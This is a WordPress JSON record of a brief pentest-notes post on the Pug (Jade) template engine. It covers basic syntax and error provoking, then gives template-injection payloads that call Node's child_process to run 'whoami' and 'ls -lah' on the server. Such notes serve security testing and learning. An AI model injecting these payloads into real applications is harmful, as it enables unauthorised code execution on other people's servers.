{"id":5004,"date":"2026-06-10T17:34:04","date_gmt":"2026-06-10T15:34:04","guid":{"rendered":"https:\/\/infosec.andreas-klingler.de\/?p=5004"},"modified":"2026-06-10T17:38:29","modified_gmt":"2026-06-10T15:38:29","slug":"pug-template-engine","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=5004","title":{"rendered":"Pug Template Engine"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Pug (pre\u00advi\u00adous\u00adly known as Jade) is a JavaScript tem\u00adplate engine, used with node\u00adjs or express applications.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Show\u00ading a val\u00adue of a vari\u00adable: (Impor\u00adtant: With\u00adout a \u201c<span class=\"caps\">HTML<\/span> func\u00adtion\u201d like p, there is noth\u00ading to&nbsp;show)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">p #{name}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The input state\u00adment cre\u00adates a hid\u00adden&nbsp;field:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">input(type='hidden' name='secret' value='42')<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Pro\u00advoke an&nbsp;error:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">#{\"a\" * 5} \/\/ Should produce an error<br>#{\"5\" * 5} \/\/ This works!<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><span class=\"caps\">RCE<\/span> with\u00adout parameters:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">- var require = global.process.mainModule.require<br>= require('child_process').spawnSync('whoami').stdout<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><span class=\"caps\">RCE<\/span> with parameters:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">- var require = global.process.mainModule.require<br>= require('child_process').spawnSync('ls', ['-lah']).stdout<br><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pug (pre\u00advi\u00adous\u00adly known as Jade) is a JavaScript tem\u00adplate engine, used with node\u00adjs or express appli\u00adca\u00adtions. Show\u00ading a val\u00adue of a vari\u00adable: (Impor\u00adtant: With\u00adout a \u201c<span class=\"caps\">HTML<\/span> func\u00adtion\u201d like p, there is noth\u00ading to&nbsp;show) p #{name} The input state\u00adment cre\u00adates a hid\u00adden&nbsp;field: input(type=\u2018hidden\u2019 name=\u2018secret\u2019 value=\u201842\u2019) Pro\u00advoke an&nbsp;error: #{\u201ca\u201d * 5} \/\/ Should pro\u00adduce an error#{\u201c5\u201d * [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470,471],"tags":[545,546,381,544,540],"class_list":["post-5004","post","type-post","status-publish","format-standard","hentry","category-active-enum","category-privesc","tag-express","tag-jade","tag-nodejs","tag-pug","tag-template"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/5004","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5004"}],"version-history":[{"count":2,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/5004\/revisions"}],"predecessor-version":[{"id":5007,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/5004\/revisions\/5007"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5004"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5004"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5004"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}